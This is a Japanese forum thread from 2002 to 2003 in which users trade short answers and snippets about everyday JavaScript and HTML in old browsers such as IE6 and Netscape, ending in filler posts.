テキストに下線が現れる、クリック可能なテキストという意味です。
>>780 でも、それが可能なのでしょうか?
というか、どこに貼り付けたらよいかわかりませぬ。すまそ。
>>784 (゚Д゚)ハァ?
マウスでクリックされるまでリンクされてるかどうかは何の意味もないだろ?
やりたいことは見た目リンクされてるかどうか判らないが、マウス乗ったときだけ色が変わってほしいとかだろ?
そういうのはCSSでできる。
>>785 Moz ではちゃんとできるが(Win2K+Moz1.2.1で確認)。ブラウザは何よ?
URI の一般的な構文は <path>[?<query>] で
部分識別子 #<fragment> が付くのはその後になるはずだがそこは宜しいか?
hoge.html#XYZ?hoge=123 ってなんかすごく勘違いしてそうな気がするんだが。
792 :
785 :02/12/23 15:20 ID:vjkRNqJG
>>791 Win2kSP3+ IE6SP1です
<object data="hoge.html?hoge=123#XYZ"></object>
でやっても同様にダメでした。
793 :
785 :02/12/23 15:28 ID:???
>>791 あと、ローカルディスク内で実験してるんですが
<a href="hoge.html#XYZ?hoge=123">リンク</a> としたときには
hoge.html内でlocation.hashやlocation.searchが取り出せます。
ていうか、OBJECTタグで呼び出すと
location.href が ? とか # とかの後ろがなくなってるのが
ということは IEではダメなのかな。
>>789 ┌−┬−┐
|A|B|
└−┴−┘
つまりAからwindow開いて、開いたwindowのリンクをクリックしたら、Bに表示するってことか。
Aからのwindow.openは既述。
開かれたwindowのソースは
<script type="text/javascript">
function func(){
window.opener.parent.frames[1].location='
http://www.yahoo.com/ ';
window.close();
}
</script>
<a href="#" onClick="func();return false;">yahoo</a>
とかやる。
つか、勝手に複雑な読み方してたのは俺だな。
すまんね。
>>794 >window.close();
某有名ブラウザとかダイアログとか出てきません?
>>793 > ということは IEではダメなのかな。
まあそういうことかと。
鯖通せば ? までは取れるようだけどね。それでも # の先は落っこちる。
てかIE <a href="hoge.html#XYZ?hoge=123">リンク</a> をクリックすると
location.href='hoge.html#XYZ?hoge=123' のくせに
アドレスに表示されるURLが hoge.html?hoge=123#XYZ って一体(汁
# ちなみにこのときIEが実際に出すリクエストは hoge.html
>>782 <script language="JavaScript">
<!--
var wordData = new Array();
wordData[0] = "モナ<>( ´∀`)";
wordData[1] = "いよう<>(=゜ω゜)ノ";
wordData[2] = "フーン<>(´_ゝ`)";
var frontWord = new Array();
var backWord = new Array();
for (i = 0; i < wordData.length ; i++){
pauseCharacter = wordData[i].indexOf("<>",0) ;
frontWord[i] = wordData[i].substring(0,pauseCharacter);
backWord[i] = wordData[i].substring(pauseCharacter+2,wordData[i].length);
}
function transferText(){
var searchWord = document.sampleForm.frontText.value;
if ( searchWord == ""){
alert("文字を入力してないですよん");
return false;
}
for (i = 0; i < frontWord.length ; i++){
if ( searchWord == frontWord[i] ){
document.sampleForm.backText.value = backWord[i];
break;
}
document.sampleForm.backText.value = "データにないですよん";
}
}
// -->
</script>
>>797 の続き
<body>
<form name="sampleForm">
<p>
A<input type="text" name="frontText">
<input type="button" value="変換" onclick="transferText();">
B<input type="text" name="backText">
</p>
</form>
</body>
こんな感じでいいのかな。
もっとすっきりしたスクリプトにできるかもしれないけれど、私にはこれが限界。
データは追加しやすいように1行にしてます。<> が区切り。
>>798 それだ!
本当に助かりました。どうもありがd。
>>797 このくらいにはスッキリなるかと思う。
var wordData = new Object;
wordData['モナ'] = "( ´∀`)";
wordData['いよう'] = "(=゜ω゜)ノ";
wordData['フーン'] = "(´_ゝ`)";
function transferText(){
var searchWord = document.sampleForm.frontText.value;
if ( searchWord == "") {
alert("文字を入力してないですよん");
return false;
}
document.sampleForm.backText.value = wordData[searchWord] || "データにないですよん";
}
ハッシュかぁ。 Perl ならハッシュで楽なのになぁとか思いながら for で回してました(汗 そかJavaScriptでも使えるんだ。勉強になりました。
俺がそういうのやるときは hoge = new Array( "モナー" , "しぃ" , "ギコ"); fuga = new Array( "(・∀・)","(*゚ー゚)","(゚Д゚)"); だけど、そういうやり方もあるんだね。勉強にナター
JavaScriptでもハッシュは使えるんだ。 そういえばJavaScriptでも「表」なんかをエスケープしないとダメなんだね。
へ?
805 :
793 :02/12/23 21:21 ID:ENeZPDTH
>>796 >サーバを通せば?までは取れる
つまり、セキュリティ上の設定が何か関与しているかもしれないッスね。
これからちょっといろいろ試してみます。
フォームデータを送るとか送らないとか、あのあたりの設定が
なんとなくヒントになってそうな感じがします。
806 :
Name_Not_Found :02/12/24 01:36 ID:KDVBwRfl
質問おながいします。 <form NAME=form1> <select name="abc"> <option value = "1"> 1番目 </option> <option value = "2"> 2番目 </option> <option value = "3"> 3番目 </option> </select> </form1> ↑のようなときに、valueの値ではなくて1番目とか2番目などの項目を取得 することは可能なんでしょうか?
>>806 ほい
document.form1.abc.options[document.form1.abc.selectedIndex].text
808 :
806 :02/12/24 01:46 ID:???
↑ さっそくのレスありがとうございます。感謝
>>800 いちおう、こういうのもあるよ。古いブラウザで駄目かも知れないが。
var wordData = {'モナ': "( ´∀`)", 'いよう': "(=゜ω゜)ノ", 'フーン': "(´_ゝ`)"};
810 :
Name_Not_Found :02/12/24 17:03 ID:BpHJiRss
<form method="post" action="mailto:
[email protected] ?subject=title" ENCTYPE="text/plain" >
みたいにmailto:を使った場合送信後に他のページにとばす方法ありますか?
mailto:だと_locationとかは使えないんですよね?
それなんで最後の送信ボタンに
<input type="submit" value="送信" onclick="jump()"> みたいに
jump()というスクリプトを載っけたのですが
送信する前に飛んでしまいだめです。
そこでjumpファンクションにsetTimeoutして見たのですが
いちおうそれでうまくいくけどメールサーバにつながるタイミングなんて
環境によって違うし。どうすればいいですか?
>>810 ただでさえ form からの mailto: は環境依存度が高く、送信に失敗する要素はいくらでもある。
送信後のページを指定できるCGIやデコードサービスを利用た方がいいと思う。
それとも、それができない事情でもあるの?
812 :
Name_Not_Found :02/12/24 17:34 ID:BpHJiRss
810です。
>>811 さん、素早いレス感謝です。
なんとなくCGIが苦手なもので・・・理由はただそれだけなんです。
>mailto:だと_locationとかは使えないんですよね?
↑コレは間違いではないですよね?
なんかうまい方法はないもんかな。内容確認とかそんなのではなく
ただ送信されますた、と戻る。りんくがあるだけでいいんです。
よしおまいら聞け、 ページを開いたときにフォームのテキストエリアに、 予めフォーカスを当てておくにはどうしたらよろしいですか? ググールのソース見たけどイマイチ解らんよ・・・
>>814 ( ´∀`)つ ホイッ
<body onload="document.フォーム名.テキストエリア名.focus()">
>>812 送信完了のタイミング判定はできないと思う。
実際にメールサーバに接続して送信作業を行うのはブラウザではないから。
817 :
814 :02/12/24 18:25 ID:???
流石
>>815 !
俺たちに出来ないことを平然とやってくれるッ!
そこに痺れる、憧れるゥ!
IE6で、ウィンドウの高さを調べたいんだけど、 document.body.clientHeight では取得できない。IE5では↑で取得できたのに。 for (i in document){ document.write(i + " : " + document[i]); } で調べたら、bodyはnullになってる。 ウィンドウの高さを調べる方法って他にないですか?
>819 document.documentElement.clientHeight かな?
>>819 標準モードの場合は
>>820 。
互換モードの場合は document.body.clientHeight。
> bodyはnull
head 要素内のスクリプトでやってるでしょ。
その時点では body 要素がまだ生成されていないから null になる。
>>821 > head 要素内のスクリプトでやってるでしょ。
ビンゴ。headタグ内でやってました。
なるほどー、BODYは生成されてなかったんだ。
BODYタグ内に移し変えると、取得できました。感謝、感謝です。
>>820 documentElementなんていうオブジェクトもあるんですか。
隠しオブジェクトって面白いっすね。
823 :
Name_Not_Found :02/12/25 10:34 ID:eHac3mpf
半角英数字を全角英数字に変換したいのですが、 0→0、1→1・・・のように一つずつ変換していくしかないでしょうか? 半角カナは変換する必要はありません。英数字だけです。
>>823 こんなのとか。N4以上/IE5.5以上。
for ( var h2z_table=new Object, i=0x21; i<=0x7E; i++ )
h2z_table[String.fromCharCode(i)] = String.fromCharCode(i+0xFEE0);
document.write(
'abcde 12345 !"#$% ABCDE アイウエオ'.replace( /([A-Za-z0-9])/g, function(s){return h2z_table[s]} )
)
825 :
Name_Not_Found :02/12/25 15:58 ID:9xIqfsUO
<BODY><HEAD><SCRIPT> function over(n){ IDz = "id" + n ; document.all(IDz).style.backgroundColor="#FFFFFF"; } function out(n){ IDz = "id" + n ; document.all(IDz).style.backgroundColor="#000000"; } </SCRIPT><HEAD><BODY> <TABLE><TR> <TD ID="id1"><A onMouseOver="over(1)" onMouseOut="out(1)" href="">2CH</a></td> <TD ID="id2"><A onMouseOver="over(2)" onMouseOut="out(2)" href="">2CH</a></td> ..... ..... と、背景の色を変えるの作ってみたんですが IE以外では何も起こりません。 なぜでしょう?
826 :
825 :02/12/25 16:01 ID:9xIqfsUO
一行目のミスは愛嬌ってコトで。
>825 document.allというものがIEにしかないから(Operaもあったかもしれない)
828 :
825 :02/12/25 17:52 ID:???
829 :
Name_Not_Found :02/12/26 22:56 ID:/bHT5A4P
関数f(引数1, 引数2, 引数3, ..) があり、引数は全て optional だったとします。 引数の数はコンテキストに依存するのですが、例えば 関数g() の戻り値が length不定の配列a(a = [a1, a2, a3, ..])だったとして、 これらa1, a2, a3, ..を関数f()の引数に設定するにはどうしたらよいのでしょうか。 'f(' + a.join(',') + ');' してeval()するような方法しか思いつきませんでした。 宜しくお願いします。
830 :
kurt's :02/12/26 23:29 ID:L26qG2h6
>>829 素直に配列として渡せばいいのでは?
function f(xarray)
{
〜
}
f(g());
832 :
829 :02/12/27 01:17 ID:/kFB8ODB
>>831 その関数f()というのは、自分で定義したものではないのですが、
読み違いだったようで、引数の数は固定でした。
一応、具体的な問題としてではなく、純粋に疑問に思ったので投稿したのですが、
引数の数が不定のメソッドを設計するわけがないということに気づきました。
ご迷惑おかけしました。
>>832 Cには可変長引数という物があって標準的なライブラリでも使われてる。
と、一応言ってみる。
argumentsは出てこないのね…
835 :
Name_Not_Found :02/12/27 02:03 ID:DPSjiPkS
一定時間ごとに自動リロードするスクリプト有りますか?
>>835 HTMLでもできるが。
一定時間後にアクションを起こす命令で呼び出されるアクションに一定時間後にアクションを起こす命令を書いておけばそれはインターバルタイマとなる。
>>835 激しくガイシュツ
setTimeout
838 :
Name_Not_Found :02/12/27 14:01 ID:/v6eMSiZ
>>829-834 それは一番まっとうには「f.apply(g().unshift(null));」じゃないの?
文字列をスクリプトとして実行することはできませんか?
>>840 いや数式じゃないです。
たとえば、
str = "document.write('aaa')";
このstrをスクリプトとして実行したいんですけど。
eval(str)
evalのサンプルとして計算機作ってる奴がいかに多いかってのがわかるな・・・。
845 :
Name_Not_Found :02/12/27 15:43 ID:l04lBx8T
>>845 ウザそうなコンテンツが腐るほどあるんですがどれを見ればいいですか?
847 :
Name_Not_Found :02/12/27 15:54 ID:l04lBx8T
>>846 画面の左下、つまり左のフレームの下部を見てくださいませ。
お願いします。
>>847 なぁ、110行目の49文字目にあるのは何だ?
849 :
Name_Not_Found :02/12/27 16:25 ID:NNx/2mfS
<SCRIPT>
function selPages(sel){
var mainPage;
if(sel=="y"){
mainPage='
http://www.yahoo.co.jp/ ';
}else{
mainPage='
http://www.google.co.jp/ ';
}
location.href=mainPage;
}
</SCRIPT>
<UL>
<LI><A HREF="#" onclick="selPages('y');">Yahoo!</A>
<LI><A HREF="#" onclick="selPages('g');">Google</A>
<LI><A HREF="javascript:selPages('y');">Yahoo!</A>
<LI><A HREF="javascript:selPages('g');">Google</A>
</UL>
onclickイベントでスクリプトを実行したいのですが、
IE5.1(Macintosh)だとHREFの中に記述しないと動きません。
なぜでしょう?
850 :
Name_Not_Found :02/12/27 16:30 ID:1sgvp5zy
IEのお気に入りやエクスプローラのツリー表示みたいな マウスを置くと瞬時に表示されて、かつウィンドウの最前面に表示されるツールチップみたいな ことってjavascriptできますか?
eval(str)
852 :
Name_Not_Found :02/12/27 17:48 ID:NNx/2mfS
>>849 MACの事は知らんが冗長に書いてみる?
<LI><A HREF="javascript:void(0);" onclick="selPages('y');return false;">Yahoo!</A>
<LI><A HREF="javascript:void(0);" onclick="selPages('g');return false;">Google</A>
855 :
Name_Not_Found :02/12/27 18:12 ID:oAMIH+4d
DHTMLのことになるのかも知れませんが、ページ内の 複数のレイヤーの表示・非表示をJavaScriptで 制御しています。 例えば、デフォルトでは レイヤーA・・・表示 レイヤーB・・・非表示 になっているとします。ユーザーのクリックでScriptが 作動し、 レイヤーA・・・非表示 レイヤーB・・・表示 となります。で、レイヤーBに含まれるリンクから別の ページに飛んだとします。そしてその別のページで ブラウザの「戻る」を使うと、元のページでは デフォルトのレイヤーAが表示、レイヤーBが非表示の 状態になってしまいます。制作側の希望としては レイヤーBが表示されてて欲しかったのですが・・・ これはブラウザの仕様なのでしょうか? それとも 何か解決法があるのでしょうか?
856 :
Name_Not_Found :02/12/27 18:13 ID:4fPgL+D0
>>853 (1) location.href を window.location.href にしてみて。
(2) なおかつeval()する直前にその文字列を alert() で表示させてみて。
857 :
855 :02/12/27 18:13 ID:???
因みに上記の動作を確認したのは、Win IE 6 です。
858 :
Name_Not_Found :02/12/27 18:26 ID:NNx/2mfS
解決しました
>>854 様
>>856 様
1) window とか self とかやってもダメでした
2) (windowをつけない状態で) alert() してみて、
正しい値が表示されるので、ここで相談しました
>>858 念のためなんだけど、その「正しい値」をそのままそっくりコピペ
してみて。あとそのコードを含んでいる部分はどうやって起動されて
いるのか書いてみて。
>>855 それは仕様なんじゃないかな。
・同じページに飛ばさないようにする。
・referrerチェックして表示状態を分岐。
・表示状態をcookieに記憶させる。
MacIE 5.xxはreturn falseしないと動かないってのは既出っぽいが…
862 :
Name_Not_Found :02/12/28 03:42 ID:QXdj/mie
IEで、スタイルを特定のclassに割り当てるのと同じようなやり方で 特定のidやclassにJavaScript(の関数)を割り当てる方法が あったと思ったのですが、どなたかご存知ですか? 同じidを持つ全ての要素のイベントに関数を割り当てる方法 なんですが、検索キーワードが思い出せません。 イベントを拾ってエレメントで分岐という方法では無いです。念のため
>862 「同じidを持つ要素」なんてものは1文書中には1つしかないはずですが,それはともかく getElementById ?
behaviorのことじゃないのかな。(IE5以降で動作)
>>863 同じidをもつ要素は複数存在可能。チェキ
>865 勉強のためにポインタ教えていただけると嬉しいのですが
IEでエラーにならないから。それで良し。
ポインタ。 int a = 1, *p = &a;
871 :
Name_Not_Found :02/12/28 22:54 ID:Swfhx0GX
>>868 IEを普段使わないから分からないのですが、IEでおなじidを振った後
document.getElementById()で取ってくると配列が取れるの?
>>871 document.all.なんとか
で取り出す。
とほほ参照
IEで動くたってIEのドキュメントって不正確でよく分かんないじゃん。 今動いたって次のバージョンで変わるかも知れないし。IE6になった時 えらい目にあった人は沢山いそうだし。 やっぱHTML 4.01とDOM2に準拠しといた方がいいよ。それでIEで動かない部分 だけ小手先で対応しておくのが一番無難だと思う。
874 :
Name_Not_Found :02/12/28 23:01 ID:Swfhx0GX
>>872 わかったわかった、つまりidを重複して振りたい奴はdocument.getElementById()
を使ってはいけないと。大変明解ですね。やっぱ自分はdocument.getElementById()
を使ってidは重複させずに振る方にしようと思う。ご教示ありがとん。
>>873 まあ本当はそうすべきなんだろうけど、面倒くさいのよ。
IEのJScript(not JavaScript)はマジで便利なのよ。
残り2割のNNとか相手にしてると生産性下がるので
もうバッサリ捨ててます。
・・・マイクロソフトが潰れたらオレもダメージでかいなぁ。
まずいっちゃーまずいな。 考え直すかな・・・
やっぱJScriptのスレだけ独立した方がいいかも… それとVBScriptとActiveXを合わせてさ。そしたら こんな論争しなくて済むでしょ。
877 :
Name_Not_Found :02/12/28 23:16 ID:Swfhx0GX
>>875 JScriptでできてHTML 4.01+JavaScript+DOM2+CSSでできない便利なことって
どんなこと?behaviorとかのあたり?自分は見た目はそんな凝らないんで…
Web制作
880 :
Name_Not_Found :02/12/29 13:49 ID:Nm4efV+f
>>878 それはWeb製作じゃないだろ。アプリ作るならそりゃ自由にやったらいい。
>>879 わからんね。
>>881 Webじゃないってこと。なら両手上げて同意するが・・・。
IE6で、INPUTタグ(checkbox) のチェックを JavaScriptからON/OFFしたいんだけど どうしたらいいかな?
>>883 過去ログvol.8の466-467をみれ。そんなのIE6といわず
JavaScriptが動くブラウザなら大体どれでもできるよ。
クリックするとクリップボードに特定の文字列をコピーするスクリプト知りませんか?
>>877 ・クリップボード操作
・Jscript独自のイベントハンドラ
・dataバインド
思いつきだけどいらないっちゃいらないね。
>>877 try…catchステートメントでのエラー処理とか、
ActiveXとか。
フィルタもかな。
>>877 ついでに、
document.getElementById(HOGE).FUGA
と長ったらしく書かないで、
HOGE.FUGA
と出来ることが大きい。
>>889 >try…catchステートメントでのエラー処理とか、
後生ですから例外と呼んであげてください・・・。
所詮、規格は強い企業が決める物。 あのOperaでさえIEの規格を実装すると宣言して W3CDOMも存在意義無しですな。
>>889 あのー、try...catchはECMA-262にあるんですけど…
>>890 ソフト屋としてはそれはどっちかつーと欠点だと思っている。
だったらdocument.allは何のために使うのよ?
>>894 >ソフト屋としてはそれはどっちかつーと欠点だと思っている。
同意。 by ソフト屋の卵
まぁ、HOGEをただのIDと見るかオブジェクトとして見るかという設計思想の違いなんだろうけどね。
>だったらdocument.allは何のために使うのよ? ID名に変数を使いたいとき。 document.allがあるからHOGE.FUGAと表記できるのが 欠点というのはよくわからない。
899 :
無知男 :02/12/31 22:38 ID:???
過去レスにあったら大変申し訳ありませんが・・・ 最近、javaページが全く表示されなくなってしまいました。 (ホップアップウインドーやリンク先がjavaページだったり・・・) インターネットオプションでのアクティブスクリプトも有効にしています。 OSはXP・ie6(共にSP1)でアップデートはすべて最新版になっております。 どなた様かよろしくお救いの手を差し伸べてやってくださいませ。
900 :
Name_Not_Found :02/12/31 22:39 ID:0okme+Yk
901 :
無知男 :02/12/31 22:43 ID:8qtBxOHP
追伸 接続側のファイヤーウォールはかけてません。 ノートンでon/offしても変化はありません。 すべてのサイトで同様の症状が出ます。 気にしてからここ2〜3週間以上つなげません。
それが本当にJavaならば、アクティブスクリプトは関係あるまい…
903 :
無知男 :02/12/31 22:50 ID:???
902様 申し訳ありません名前通り無知なので・・・ リンクやバーナー等にポインタのせるとウインドーの下の方にアドレスではなくjavascriptって出てたので。 そういった物の対処を教えて頂けませんか?
むしろPC初心者板の質問スレで聞くべきもののような…
しまった、かぶった…
>>898 わからないなら別に説明する気もないがdocument.all(x)
よりもdocument[x]の方が短いだろ。
>>907 あくまでIDをIDと扱うか。
IDとオブジェクトは1:1なのであらかじめすべてのオブジェクトをもったハッシュを作って置くかか?
>>908 そうじゃなくて。JavaScriptではoがオブジェクトだとするとo.hogeとo["HOGE"]は
等価なんだよね。だからdocument.HOGEとdocument["HOGE"]も等価。で、document.all()
は何のために使うのかという質問に対し「HOGE」等が変数の場合に使うという回答
だったのでそれだったらdocument.all(x)よりdocument[x]の方が短くてイイというのが
筋が通ってるんじゃないかと。元が自分はdocument.getElementById()を使うと書いた
のに対し長くて嫌だからdocument.HOGEの方がすぐれている、という議論だったのでね。
910 :
Name_Not_Found :03/01/02 04:44 ID:pxc4fll2
>>909 優れてるか劣ってるかは考えたことは無いけど
document.HOGEは便利だと思うよ
all は HOGE が複数あるとわかってるときに使うし
document.HOGE は HOGE がひとつしかないとわかってるときに使ってる
>>910 なるほど、同じidを複数割り当てた時はdocument.all()を使う
という使い分けなわけね。IE流とはそういうものか…
ま、doucument.HOGEも含めてそれが便利でいいと思う人は
そうやってればいいんじゃないの。NetscapeブラウザもN4では
document.HOGEだったけどMozilla/N6からやめたんだよね。自分的
にはそれが好ましいと思っている。おしまい。
912 :
Name_Not_Found :03/01/02 15:57 ID:Z369RIqC
setHomePage();ってIEだけしか使えない?
913 :
Name_Not_Found :03/01/02 19:44 ID:l3aW91hV
915 :
Name_Not_Found :03/01/02 23:36 ID:XG0MyjW/
onMouseOverの状態の時、ポインタの形状を変える というようなことはできないでしょうか?
CSSスレへ行くべし。JavaScriptで変えるにしてもどうせCSSを操作する ことになる。で、任意の画像にはできなくてある決まった形状のうちから 選べるだけなんでそこはそのつもりで。
>>917 ないつーのならCSS以外の方法、知りたい。IE固有のだったら
興味ないけど。CSSがらみの方法はガイシュツだよ。
無料サーバを使ってるので 広告がポップアップされるんですけど 自サイトのポップアップウィンドウを広告より全面に出したいんです。 指定したポップアップウィンドウを最前面に表示するにはどうすればいいですか? よろしくお願い致します。
>>920 広告と一緒に消されるのがオチ。ポップアップやめるべき。
922 :
920 :03/01/03 17:57 ID:???
垢削除される心配はありません。 広告に全く支障がない程度の 本当に小さなサブウィンドウなので・・ 何卒よろしくお願いします。
見る人がポップアップ広告がうざいからウィンドウを閉じてしまうのですね?
>>924 ええ、彼らはポップアップの中身なんて見ちゃいませんから。
しかも、広告に紛れてあなたのポップアップも出現する。
間違いなく一緒に速攻で閉じられます。
ちゃんと見てください!と強要したとしても相手はウザイ広告とあなたのポップアップを
判別しなくてはいけなくなる。うざすぎ。
と。
設計から変えた方が良いと思うよ。
927 :
IE6 :03/01/03 19:51 ID:G0wa8dW2
inputタグのcheckboxをチェック/チェック解除したら ある関数を呼びたいと思っています。 「checkされた」 というイベントはどう書けばいいのでしょうか?
929 :
IE6 :03/01/03 20:40 ID:G0wa8dW2
>>928 それだと、チェックが解除された というのも onclick になりますよね。
チェックされている/されていない というのは どこで取得しますか?
value だと、「チェックされたときの値」は取得できますが
チェックされているか否かの判定に使えなくて困ってます。
930 :
IE6 :03/01/03 20:42 ID:???
checkedというのがありましたね。すみません。
それだったらonChange使うのが普通じゃね?
932 :
Name_Not_Found :03/01/04 01:52 ID:jGCP0bH+
JavaScriptって普通の人は常時ONなんでしょうか? 自分は普段はOFFで必要なときだけONにしてます。 Netscapeなんで無料ホームページスのペースポップアップ広告とか 気にならないのですが、普通にIEで見てる人には敬遠されますか? IEユーザーでもポップアップを消すツールを使ってる人が殆どですか?
>>932 >自分は普段はOFFで必要なときだけONにしてます。
から万人が使っているわけではない。と言う仮定くらい立ちそうなもんだが。
まあ、万人と大半は違うし。
>>932 大半のユーザは絶望的に無知な状態でWebを使った気分になってます。
自分の環境をカスタマイズするって発想持ってない
(というかカスタマイズできるということを知らない)のが殆どです。
ポップアップ抑制ツールなど存在自体知らないし、
そういうものを導入した日にはスーパーハカー気取りです。
>>932 あとはアクセス解析でON/OFFの割合を調べるしかない。
936 :
Name_Not_Found :03/01/04 16:18 ID:wj5FMQud
JScriptでなくJavaScriptで、ClipBoardにコピーすることはできますか?
>>936 xul-app.hp.infoseek.co.jp/xultu-janit/clipboard.html
平たく言うと chrome: URL で動かしている JavaScript なら可能。
939 :
936 :03/01/04 16:46 ID:wj5FMQud
OIE,THX
>>937-938 # セキュリティー考慮ということでいいのでしょうか?
# ローカル(コンテキストメニュー拡張)で使う場合は
# JScriptを使うのが普通でしょうか?
TIA,
940 :
Name_Not_Found :03/01/04 17:04 ID:wj5FMQud
>>939 IEではJScriptしか動かないし、NetscapeではJavaScriptしか動かない
(IEはJavaScriptを強引にJScriptとして解析・実行したりするがね)。
だからIEのコンテキストメニューを拡張するなら必然的にJScript。
同様にMoz/N6+のコンテキストメニューを拡張するならJavaScript。
そもそもクリップボードを操作できるかどうかってのは
実行環境に用意されるオブジェクトの違いであって、言語の違いではない。
「普通でしょうか?」ってのがよく判らんのだか、聞きたいことは結局何?
942 :
936 :03/01/04 18:54 ID:???
,. -‐- 、 , '´(°) ヽ /⌒ヽ. (°) i , ' i ,,, l / / }_ ,ノi ,' , ' ,_'  ̄ ̄ } ; , ' , ':::|_ i ;:::l l /,.イ::::l:::::ヽ l |‐':::;' {_r'ィ´ l:::l:::::l:::ヽレ':;'::;' l:::::l::l::::;'::::;::' 〉、::;;;;:::ィ´ オ 卞 キョロちゃんがこのスレはハズレだと見抜きました
ハズレだろうが構わないけど950踏んだ人は次スレたててね。もうvol. 15かよ。
THX,自分WinにSwitch組みなので勉強になりますた。
945 :
超初心者 :03/01/05 01:17 ID:83VeAPF3
質問です。突然にすみません。 「名前をつけて保存」やソースを表示させないようにするJAVAは ありますか? 右クリック禁止は結構ホムペに転載されているのですが上記の スクリプトはないのです…。 何度もホームページを見て探したのですが… ご存知の方返信よろしくお願いします。
>>945 右クリックメニューからそれらの項目を削除する方法は無い。
特定の項目のみ無効化させる方法も無い。
もしやるとしたら、気合入れて右クリックメニューのそっくりさんを作って
メニューを自前で表示させてごまかす。
>>945 このスレはJava質問スレッドじゃない。JavaScriptの事だと仮定して答える。
右クリックはイベントハンドラoncontextmenuがで禁止できるんだよな。
ソースを表示する前に共通して行う事はそのページの読み込みか。
それなら簡単だ。onloadで行こうか。
<body onload="window.close()">
でできるよ。
ただしユーザビリティーの観点からするとかなりウザい。
十分注意して使ってくれ。以上だ。
948 :
超初心者 :03/01/05 01:34 ID:83VeAPF3
>>946 ありがとうございます。
ではファイルメニューからの「名前をつけて保存」
表示メニューからの「ソース」
上記の2つが淡色になって使用不可になっているページを見たのですが、
あれはJAVAではなかったんですね。
早期レスありがとうございました。
>>948 参考のためにそのURLを教えてよ。
ウソだと思うけど念のため確認したい。
見ただけだからね〜。プ
953 :
超初心者 :03/01/05 01:54 ID:83VeAPF3
>>950 そのURLは今はないです。
皆がレスしてくれているようにJAVAかどうかは確信がもてないのですが、
そういうページ(ソース等が淡色になる)はあったのは確かですよ。
今度見つけたら必ず転載します!
>今度見つけたら必ず転載します! ないんだから無理ポ
956 :
超初心者 :03/01/05 01:58 ID:83VeAPF3
煽り耐性がないのか、勘違いなのか。 人騒がせですな。
958 :
950 :03/01/05 02:13 ID:???
ウワーン 立て過ぎです ってなんだよ! 誰かここしばらくスレ立てしたのか? こんな過疎板で立てれないとは思わなかったよ・・・ 誰かよろ
こんなテンプレ長いスレおれはヤだね 確実に引っかかる
つーか、串探してでも立てるのが筋だろ?
>>911 というか、適当なエレメントを変数のノリで軽い気持ちで扱えるから。
getElementByID()っていちいち打つの面倒だし。
for(i=0;i<MAX;i++) {} ここの、MAXって常に評価されます? ループ内でMAXをいじったとき、ループ判定で反映されますか?
試せばいいじゃない。
964 :
(・∀・)チンポー!! :03/01/05 02:38 ID:u3FEfKN7
埋め
>>950 俺も見た事あるんだが・・・
何処かは覚えてないけど。
埋め
埋め
実はページ全体がHTMLでなくて、pdfみたいなヤツとかだったりしてな藁
そうするとコンテキストメニュー自体違うがな埋め
埋め
埋め
梅
埋め
埋め
埋め
埋め
埋め
埋め
埋め
埋め
埋め
埋め
埋め
新スレ出来悪いね埋め
ローカルルールのリンクも変わってないし埋め
埋め
文字が逆になると見抜けられるひとでないと (AAを書くのは)難しい
埋め
埋め
埋め
埋め
埋め
埋め
埋め
1001 :
1001 :
Over 1000 Thread このスレッドは1000を超えました。 もう書けないので、新しいスレッドを立ててくださいです。。。